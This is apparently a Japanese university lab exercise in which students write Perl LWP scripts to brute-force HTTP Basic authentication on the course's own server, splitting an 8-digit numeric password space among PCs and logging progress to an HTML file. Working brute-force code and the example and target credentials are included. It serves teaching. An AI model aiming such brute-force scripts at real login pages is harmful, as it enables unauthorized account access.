まず,ブラウザで上記の例のためのページにアクセスし, 指定のユーザ名とパスワードを入力せよ.
攻撃対象のページは ID だけが明らかにされている. 正しいパスワードが入力されると例のためのページと 同様のページが表示されるが, secret word: 以下には例のためのページとは異なる文字列が書かている.
例のためのページに perl プログラムでアクセスするには 以下のプログラム 7.1 のように LWP::UserAgent を使えば良い. プログラム 7.1 を実行し,動作原理を理解せよ.
#!/usr/bin/perl -w use strict; use LWP::UserAgent; my $uri = 'http://sirius.yamamotolab.jt.u-tokai.ac.jp/seminar3/example/index.html'; my $ua = LWP::UserAgent->new; my $req = HTTP::Request->new(GET => $uri); $req->authorization_basic('user1', '12345678'); my $response = $ua->request($req); if ($response->is_success){ print $response->content; } else { print "Password is not correct.\n"; }
プログラム 7.1
プログラム 7.1 を参考に攻撃対象のページを自分に割り当てられた範囲の パスワードで総当たり攻撃するプログラムを作れ.
各PCで動作させるプログラムは pi の近似値を求めるプログラムと同様に 途中経過を特定の html ファイルに書き出す方式で作成せよ. ファイル名は attack.html とし,pi の時と同様に自分の public_html 直下に書き出せ.
attack.html の仕様は以下の通りとする,
プログラムがパスワード解析に成功していない状態では 定期的に(間隔は自分で決める)以下の形式の ソースコードを書き出すようにする.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <html lang="ja"> <head> <meta http-equiv="Content-Type" content="text/html; charset=euc-jp"> <title>output file</title> </head> <body> <h1>attack</h1> <dl> <dt>status:</dt> <dd>No</dd> <dt>from:</dt> <dd>(解析済みのパスワード範囲の下限)</dd> <dt>to:</dt> <dd>(解析済みのパスワード範囲の上限)</dd> </dl> <hr> </body> </html>
パスワードは 8 桁の整数である.管理担当者から 各自に解析すべきパスワードの上限と下限が与えられる. 各自は担当範囲の下限の値からパスワードを全数探索で 探索する. パスワード解析に成功していない状態では定期的に 上記ファイルを上書きする.例えばパスワードの値 10000000 から全数探索を行い,11000000 まで全数探索 を行い,解析に成功していないなら上記の (解析済みのパスワード範囲の下限), (解析済みのパスワード範囲の上限) の部分は以下のようになる.
<dt>from:</dt> <dd>10000000</dd> <dt>to:</dt> <dd>11000000</dd>
パスワード解析に成功したら以下の内容を同じ ファイルに上書きして終了する.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <html lang="ja"> <head> <meta http-equiv="Content-Type" content="text/html; charset=euc-jp"> <title>output file</title> </head> <body> <h1>attack</h1> <dl> <dt>status:</dt> <dd>Yes</dd> <dt>password:</dt> <dd>(アクセスに成功したパスワード)</dd> <dt>secret word:</dt> <dd>(表示された秘密の文字列)</dd> </dl> <hr> </body> </html>
各学生が解析を担当する範囲は以下の通りとする. (パスワードの 1 文字目は 1 です)
出力のフォーマットを無視して端末に書き出すプログラムを作成すると 以下のようになる.以下のプログラム 7.2 は http://sirius.yamamotolab.jt.u-tokai.ac.jp/seminar3/example/index.html にユーザ名 user1, パスワードは 12345670 から 12345679 を順に 試してアクセスするものである.実行してみよ.
#!/usr/bin/perl -w use strict; use LWP::UserAgent; my $uri = 'http://sirius.yamamotolab.jt.u-tokai.ac.jp/seminar3/example/index.html'; my $uname = 'user1'; my $pw; my $pw8; my $ua = LWP::UserAgent->new; my $req = HTTP::Request->new(GET => $uri); for ($pw = 12345670; $pw <= 12345679 ; $pw++){ $pw8 = sprintf "%08d", $pw; $req->authorization_basic($uname, $pw8); my $response = $ua->request($req); if ($response->is_success){ print $response->content; } else { print "Password is not correct.\n"; } }
プログラム 7.2
このプログラムの対象 URI とユーザ名を
my $uri = 'http://sirius.yamamotolab.jt.u-tokai.ac.jp/seminar3/secret/index.html'; my $uname = 'yamamotolab';
に変え,パスワードのループの範囲を自分の担当範囲に変更し, 出力をファイル attack.html に指定のフォーマットで書き出すように 変更すればよい.